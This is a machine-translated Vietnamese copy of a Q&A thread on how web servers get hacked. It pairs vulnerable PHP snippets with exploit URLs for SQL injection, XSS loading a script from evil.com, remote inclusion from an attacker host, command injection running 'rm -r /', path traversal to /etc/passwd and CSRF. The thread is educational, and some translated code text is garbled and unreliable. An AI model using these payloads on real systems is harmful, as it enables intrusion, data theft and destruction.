it-swarm-vi.com

Làm thế nào để hack hoạt động?

Tôi đặc biệt nói về máy chủ web, chạy Unix. Tôi luôn tò mò về cách tin tặc có được điểm vào. Ý tôi là tôi không thấy làm thế nào một hacker có thể xâm nhập vào trang web khi phương thức nhập duy nhất họ có vào máy chủ là một URL. Tôi phải thiếu thứ gì đó, vì tôi thấy không có cách nào hacker có thể truy cập vào máy chủ chỉ bằng cách thay đổi URL.

Theo điểm vào tôi có nghĩa là điểm truy cập. Cách tin tặc xâm nhập vào máy chủ.

Tôi có thể lấy ví dụ về cách tin tặc tạo điểm truy cập vào máy chủ web không? Bất kỳ ngôn ngữ C nào cũng được chấp nhận. Tôi hoàn toàn không có kinh nghiệm về hack

Một ví dụ đơn giản sẽ được đánh giá cao.

98
user7360

Hacks hoạt động chỉ bằng cách thay đổi URL

  • Một ví dụ hợp pháp và độc hại
  • Một số ví dụ yêu cầu mã hóa URL để hoạt động (thường được trình duyệt tự động thực hiện)

SQL Injection

mã:

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

khai thác (đăng nhập với tư cách quản trị viên mà không biết mật khẩu):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

Tập lệnh chéo trang web (XSS)

mã:

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

khai thác (người đăng ký truy cập người dùng dưới dạng zombie trong BeEF ):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

Thực thi mã từ xa

mã (ví dụ của Tylerl):

<? include($_GET["module"].".php"); ?>

khai thác (tải xuống và chạy mã tùy ý):

example.com/?module=frontpage
example.com/?module=Pastebin.com/mymaliciousscript

Lệnh tiêm

mã:

<?php
echo Shell_exec('cat '.$_GET['filename']);
?>

khai thác (cố gắng xóa tất cả các tệp khỏi thư mục gốc):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

Mã tiêm

mã:

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

khai thác (tiêm lệnh phpinfo () in thông tin tấn công rất hữu ích trên màn hình):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

Tiêm LDAP

mã:

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

khai thác (đăng nhập mà không biết mật khẩu quản trị viên):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

Đường đi ngang

mã:

<?php
include("./" . $_GET['page']);
?>

khai thác (tìm nạp/etc/passwd):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

Chuyển hướng/tấn công chuyển tiếp

mã:

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

khai thác (Gửi người dùng từ trang của bạn đến trang ác):

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

Không thể hạn chế quyền truy cập URL

mã:

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

khai thác:

example.com/users/showUser.php
example.com/admins/editUser.php

Cross-Site Yêu cầu giả mạo

mã:

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

khai thác:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

Tràn bộ đệm (về mặt kỹ thuật bằng cách truy cập URL, nhưng được triển khai với metasploit

mã:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Khai thác (Metasploit + métpreter?):

http://www.exploit-db.com/exploits/16798/
189
Chris Dale

Cách phổ biến nhất (hiện tại) là thông qua các lỗ hổng trong PHP. Có hàng tá cách thức này có thể hoạt động, nhưng đây là một cách đơn giản, dễ dàng:

Hãy tưởng tượng chủ sở hữu trang web không nghi ngờ quyết định chọn một phím tắt trong mã của mình sao cho http://example.com/site.php?module=xyz thực sự đầu tiên tải một số mẫu Shell và sau đó chạy "xyz.php" để điền vào nội dung. Vì vậy, có lẽ ông viết một cái gì đó như thế này:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

Tin tặc sau đó truy cập trang web bằng URL sau:
[.__.] http://example.com/site.php?module=http://malicio.us/evilprogram

Bây giờ, thay vì tải tập lệnh cục bộ của mình, PHP đi ra ngoài và tải xuống http://malicio.us/evilprogram.php và thực thi nó - chạy bất cứ thứ gì PHP mã mà kẻ tấn công mong muốn. Có lẽ gửi thư rác, có thể cài đặt Backdoor Shell, có thể tìm kiếm các tệp cấu hình để tìm mật khẩu.

Có hàng ngàn cách để hack một trang web, mỗi cách là tiểu thuyết như tiếp theo. Hầu như trên toàn cầu, họ liên quan đến một lập trình viên không nghĩ về tất cả các yếu tố đầu vào có thể có cho chương trình của họ và những hiệu ứng bất ngờ mà họ có thể có.

24
tylerl

Có 2 cách để xem xét nó, bạn có thể tập trung vào chính máy chủ hoặc tập trung vào ứng dụng web mà máy chủ đang chạy.

Là một máy chủ, nó có thể có các cổng mở chạy các dịch vụ mà bạn có thể kết nối và có quyền truy cập vào máy chủ. Bằng cách sử dụng các khai thác đã biết, bạn có thể có quyền truy cập root. Ví dụ: một số máy chủ FTP cho Unix có lỗ hổng có thể bị khai thác bởi các công cụ như Metasploit để lấy Shell gốc.

Là một ứng dụng, có quá nhiều cách để khai thác một ứng dụng được viết hoặc cấu hình kém. Chẳng hạn, nếu bạn chuyển một truy vấn SQL dưới dạng GET, bạn thực sự có thể tự thao tác URL để thực hiện một SQL Injection tấn công và dump toàn bộ cơ sở dữ liệu. Ví dụ: (tùy thuộc vào mã hóa của trang web): http://www.mydomain.com/products/products.asp?productid=12 Tên người dùng UNION CHỌN, mật khẩu TỪ NGƯỜI DÙNG

Một lần nữa, bạn chạm vào một chủ đề lớn và tôi hy vọng những điều này sẽ giúp bạn tập trung vào các bước tiếp theo.

11
schroeder

Câu trả lời ngắn

Đây có thể không phải là câu hỏi đúng.

Một hacker ...

... Là một kỹ sư xã hội.

Họ quan tâm đến tương tác của họ với mọi người hơn là tương tác với máy tính. Một tin tặc sẽ muốn bạn trao mật khẩu cho anh ta, hơn là phải vũ phu.

... Đang tìm kiếm kiến ​​thức ...

... Và biết rằng kiến ​​thức là sức mạnh. Một hacker quan tâm nhiều hơn đến nhận số thẻ tín dụng của bạn so với thực tế bằng cách sử dụng nó.

... sử dụng đạo đức như một cái cớ ...

... Không phải là một nguyên nhân. Đây là lý do tại sao nhiều tin tặc sẽ lợi dụng các sự kiện chính trị định hướng đạo đức để công khai. Họ biết rằng họ có thể sử dụng đạo đức để bào chữa cho hành động của mình trong mắt công chúng.

... không bị bắt trừ khi anh ta muốn.

Hầu hết thời gian. Các tin tặc Wannabe, những người chỉ cần nhảy ngay vào mà không quan tâm đến việc lén lút hoặc ẩn danh được gọi là "kiddies script" hoặc "skiddies" trong cộng đồng hack. Có rất nhiều skiddies hơn tin tặc, rất có thể, và chúng có thể sẽ là phiền toái lớn nhất của bạn.

... không cần bất kỳ công cụ đặc biệt hoặc cửa hậu.

Frontend mà bạn đã cung cấp có khả năng là đủ.

Câu trả lời dài

Bạn có thể tự bảo vệ mình trước các khai thác trong Metasploit tất cả những gì bạn muốn. Một tin tặc sẽ chỉ cần đi thẳng vào qua cửa trước - nếu không, hầu như, theo nghĩa đen.

Câu trả lời bạn muốn

Xem như cách mọi người không thích câu trả lời mà tôi đã đưa ra , đầy đủ như vậy, tôi sẽ cung cấp cho bạn một cái gì đó nhiều hơn một chút dọc theo dòng của những gì bạn muốn.

Tin tặc thích ẩn danh. Bước đầu tiên trong bất kỳ cuộc tấn công nào là xâu chuỗi một chuỗi các proxy, có thể là proxy SOCKS, zombie hoặc chỉ là các bot đơn giản tạo thành một mạng botnet. Có một vài cách để giải quyết vấn đề này, nhưng chúng ta hãy lấy một số proxy chết để thảo luận. Truy cập vào Pastebin.com và thực hiện tìm kiếm 8080. Đây là một cổng phổ biến cho proxy web. Cuộn xuống trong kết quả cho đến khi bạn tìm thấy một danh sách các địa chỉ IP và nhấp để xem kết quả. Bạn nên có một danh sách dài các proxy web. Tôi có thể đảm bảo rằng hầu hết, nếu không phải tất cả, sẽ chết. Xin lỗi, đây không phải là một hướng dẫn hack.

Bước tiếp theo là thu thập thông tin có vẻ tầm thường về mục tiêu của bạn. Sử dụng proxy của mình, một hacker sẽ chạy các portscans, sau đó thăm dò bất kỳ dịch vụ nào mà anh ta tìm thấy. Có một trang web? Hãy khám phá nó. Có máy chủ MySQL không? Hãy xem nó là phiên bản nào. Chạy SSH? Hãy xem liệu nó có chấp nhận mật khẩu văn bản không, hoặc bị giới hạn ở chứng chỉ.

Sau đó, hacker ngồi xuống, xem xét những gì anh ta thu thập được và quyết định điểm yếu nhất của hệ thống là gì. Tùy thuộc vào kích thước của hệ thống, anh ta có thể quay lại và thăm dò thêm một chút, nếu có nhiều thứ để thăm dò và anh ta cảm thấy mình không có được điểm yếu đủ tốt. Một điểm yếu không phải là một "lỗ hổng" bảo mật thực sự: nó chỉ phải là liên kết yếu nhất. Có lẽ bạn có một máy chủ FTP không bảo vệ chống búa (các lần đăng nhập lặp lại). Có thể bạn có một máy chủ web với một loạt các biểu mẫu hoặc URL có khả năng khai thác. Đó là những giá trị điều tra thêm.

Nếu cần thiết, kẻ tấn công có thể viết một kịch bản hoặc chương trình để thực hiện cuộc tấn công cuối cùng, mặc dù điều này không phải lúc nào cũng đúng. Hầu hết các điểm yếu có thể được khai thác với các công cụ hiện có, vì vậy điều này thường không cần thiết đối với các hacker hiện đại. Tuy nhiên, đôi khi tin tặc phát hiện ra các lỗ hổng bảo mật mới trong phần mềm, trong trường hợp đó đôi khi chúng cần phải viết các công cụ đặc biệt để khai thác phần mềm nói trên.

Một ví dụ điển hình về chương trình tấn công rõ ràng là một chương trình được sử dụng để gây rắc rối trên các máy chủ cho một trò chơi có tên Terraria. Đây không phải là mục đích ban đầu của nó, nhưng vì nó phơi bày nhiều cách khai thác khác nhau trong phần mềm máy chủ, nên nó có xu hướng được sử dụng cho mục đích đó. Tôi đã viết nó trong C #. Mã nguồn có sẵn trên GitHub . Các khai thác sử dụng thao tác mã byte để sửa đổi máy khách hiện có để gửi dữ liệu độc hại. Máy chủ không mong đợi dữ liệu này và phản ứng theo cách mà nó không được thiết kế để hoạt động. Khám phá các khai thác như thế này có thể đơn giản như kỹ thuật đảo ngược phần mềm đích - tôi nói đơn giản vì điều này đã trở thành một nhiệm vụ ngày càng dễ dàng với các ngôn ngữ phản chiếu hiện đại, như C # và Java. Các chương trình như .NET Reflector (trả phí) và dotPeek (miễn phí, hiện tại) có thể thực hiện điều này bằng cách nhấp vào nút. Sau đó, một lập trình viên C # được đào tạo đầy đủ có thể quan sát mã, xác định chức năng của nó và viết chương trình để thay đổi chức năng này.

7
Zenexer

Một người bạn của tôi đã có một hợp đồng làm việc trên một trang web. Trong khi anh ta nhận thấy các tin tặc đã vào trang web và làm những thứ anh ta không thích. Sau khi xem một số tệp nhật ký, anh ta nhận thấy 'tin tặc' đã tìm thấy trang web bằng cách xử lý lỗi mysql.

Khi bạn có thể tiêm sql, bạn có thể làm bất cứ điều gì bạn muốn như tạo cho mình một tài khoản. Nếu bạn có thể tải lên các tệp (đặc biệt là php), bạn có khả năng thực thi nó. Nếu bạn có thể thực thi nó, bạn có thể gây ra nhiều thiệt hại hơn như đọc/ghi tệp trên hệ thống tệp máy chủ ngay cả khi bạn không có tài khoản trên máy chủ linux/windows.

Một kỹ thuật khác đang xâm nhập vào cơ sở dữ liệu, xem xét mật khẩu (đặc biệt là nếu chúng không được băm) hơn là cố gắng thiết lập kết nối ssh hoặc ftp đến cùng một địa chỉ IP của trang web và thử kết hợp người dùng/mật khẩu.

Ngoài ra, bạn không cần phải xâm nhập vào máy chủ để bị hack. Một người mà tôi gặp đã kể cho tôi một câu chuyện về cách phần mềm lỗi thời được cài đặt trên máy chủ của anh ta. Những kẻ tấn công đã sử dụng nó để tải lên và thực thi tệp php của riêng chúng, chúng đã chèn một dòng mã (để thêm iframe) vào mỗi tệp index.php và index.html. Về cơ bản không ai có thể truy cập trang web. Nó hoặc được chuyển hướng hoặc đưa ra rất nhiều quảng cáo.

4
user5575

Đã bao nhiêu lần chúng ta đọc về thông tin đăng nhập mà không có mật khẩu hoặc "Joes"? Không yêu cầu kiến ​​thức về Metasploit hoặc bất cứ điều gì thực sự kỳ lạ để có được ở cửa trước. Một chút giống như một chiếc xe đang chạy trên đường lái xe vào một buổi sáng lạnh "Xin hãy đánh cắp tôi".

2
jl01

Chỉ cần một vài ví dụ nữa để bạn xem xét.

Theo dõi từ ví dụ của tylerl:

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

Vectơ tấn công:

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

Đây là một tệp cục bộ bao gồm tấn công base64 do không có bất kỳ mã hóa an toàn nào, kẻ tấn công có thể đọc hầu hết mọi tệp trên trang web hoặc máy chủ kết thúc bằng [.php], trong trường hợp này là đọc nội dung tệp của configure.php tệp, PHP trả về một cơ sở64_encode của toàn bộ nội dung tệp dễ dàng được giải mã trở lại văn bản có thể đọc được.

Tuy nhiên, URL không đúng định dạng không phải tìm kiếm lỗ hổng xác thực bảo mật đầu vào.

Trong nhiều trang web thương mại web, mã $ PHP_SELF nhập sai tên tệp trong đó yoursite.com/admin/adologists.php, $ PHP_SELF đã báo cáo tên tệp là Administrator.php, tuy nhiên nếu login.php được thêm vào như admin/admin.php/login. php, sau đó $ PHP_SELF misreport login.php làm tên tệp thay vì admin.php.

Vì vậy, ví dụ nếu câu hỏi xác thực phiên quản trị viên được hỏi trong ví dụ đầy cảm hứng này:

* if (không phải phiên quản trị viên hợp lệ) và ($ PHP_SELF không = đến login.php) sau đó chuyển hướng đến login.php *

Trang sẽ không bao giờ chuyển hướng đến login.php vì $ PHP_SELF đang nhập sai tên tệp thực, do đó kẻ tấn công có quyền truy cập vào tệp admin.php mà không cần thông tin xác thực chính xác.

1
Taipo